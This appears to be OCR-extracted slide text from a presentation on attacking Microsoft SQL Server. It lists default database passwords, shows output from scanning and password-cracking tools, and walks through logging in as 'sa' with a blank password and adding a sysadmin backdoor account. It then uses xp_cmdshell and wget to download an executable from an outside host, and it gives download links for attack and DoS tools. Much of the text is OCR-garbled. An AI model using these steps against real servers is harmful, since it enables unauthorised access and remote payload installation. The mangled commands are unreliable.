SQL Server Attacks: Cracking , Hacking , ...
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Simple: "Select * from dbFurniture.tblChair"
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Complex: "EXEC master..xp cmdshell 'dir c:\'"
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* Database source
* Request type
* Database
* User ID
* Password
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Name Password

Oracle oracle

mySQL (Windows) null

MS SQL Server sa null

DB2 dlifm ibmdb2
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AWINDOWS\system32\cmd.exe - SQLScanner 217.218 c:\log.txt

C:v2>89L8canner 217.218 c:\log-txt

SQLScanner
WUritten by Refdom
Email: refdomB263.net
Homepage : www._xfocus.org (or wuw.OpeEngram.com?

Uzage: SQLScanner.exe B_IP logFilepath
eq: SQLEcanner.exe 200.288 c:n1.txt

Scan start...
217.218.3.8
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D:AWINDOWS\system32\emd.exe

zsage: SQLPing.exe tavget_ip

InztanceMame :MESQLEERUER
IzClustered:HNo

spipessglsguery
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C:AWINDOWS\system3 2\cmd. exe
C:iscagleracker 217.218 . 206 .8 c:suser.dat c:iwpass.dat 16

SQLCracker
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nE-J0—oE 3o ~3aF 3o -3aF-Juf-Juf-Jaf —ef 3o -3eF-Jof3aE-Ju-JuE-Jaf—eE—3ef -eE-JofJaE-Ju-Jaf-Jaf—ef—Jef -3eF-Jof3eE-Juf-JeE-Jefef—Jef-eE-JefJeE-Juf-Jef-JefJef-JefeE-Jof-JeE-Juf-Jef-JefeE-Jef-eE-BE
Usage:SQLCracker.exe IP Userdict Passworddict ThreadCount

eq:S3QLCracker.exe 192.168.1.1 c:suser.dat c:wpaszsword.dat 18

Start to scan...

Try to get server's TCP port...
Get SQLServer Port:1433

ry to connect TCP 1433 port...
CP 1433 port listenning...

HSER:=za

Detect:@ Accounts
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[%) Command Prompt - osql -5 JAKIS_MSDE -

C:w*osql -l sa -P
Login failed for user "sa’.

C:%»osql -5 JARIS MSDE -U sa -P
1* select DB_HAMEC) ,USER_HAMEC)
2 qo

master

(1 row affected)
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1> sp_addlogin 'hacked’,'h4xor'

2> go =D b e | ils)

New login created.

1> sp_addsrvrolemember 'hacked’,'sysadmin’

2> go = A e Gl A e e
'hacked' added to role 'sysadmin’.

1> quit

C:\>osql -U hacked -P h4xor -Q "SELECT DB_NAME(),USER_NAME()"

master dbo
(1 row affected)
C:\>
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C:Mrrogram Files'wMiveosoft SQL Server\MSS5(QL%Binn*osql -U hacked -PF hixor
1+ xp_cmdshell “wget attpoffmembers.tripodasia.com.sgflibfeqgdrop.exe”

--22:86:16-- http://members_tripodasia.com_sg/libfeggdrop.exe
=¥ “egqqdrop.exe’
Resolving members.tripodasia.com.sg... done.
Connecting to members.tripodasia.com.sq[202_160.24% .55]:80... connected.
HTTPF request sent, awaiting response... 200 OK
hﬁt?th: 306,688 [application/x-msdownload]

58.14 KB/s
50.81 KB/s
78.00 KB/s
59.31 KB/s
58.14 KB/s
62.11 KB/s

HULL
ﬁﬁit6:21 (60.08 KBfs) - “eqgdrop.exe” saved [3066885306688]
HULL

1> xp_cmdshell “dir eggdrop.exe’

Uolume in drive [ is LUSCIHIR
Uolume Serial Humber is F4EF-Ch4E
HULL
Directory of C:WWIHHT\system32
HULL
2002-05%-16 22:55% 306 688 eggdrop.exe
1 File(s) 306 6BE bytes
0 DircCs) 8 855 D5%6 384 bvtes free

C:hw>tlist Ft

System Process C0)

System C8)

SHMSS_EXE (1642
CSRSS.EXE (2002
WIHLOGOH.EXE (220) HetDDE figent
SERVICES.ERE (248)
sychost._.exe (540)
spoolsv_exe (576)
suchost _exe (604)
regsvc.exe (688)
SHMP _EXE (776)
letMsgHT.exe (816)
WinMgmt _exe (836)
MsPHSPFSv_exe (852)
IS U ERE Lo
sqlservr.exe (1184)
CHD.ERE C1484)
wget . exe (2112)
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1 a0,y sqblils
reowd Sl oul Jol as SQL Tools
SQLCracker.exe
SQLPing.exe
SQLScanner.exe
SQLOverflowDos.exe
SQLDOSStorm2.exe
http://www.star-sat.host.sk/other/SQLtools.zip

teewl 03l oKL L bls,l sl as OSQL
http://www.star-sat.host.sk/other/osql.zip
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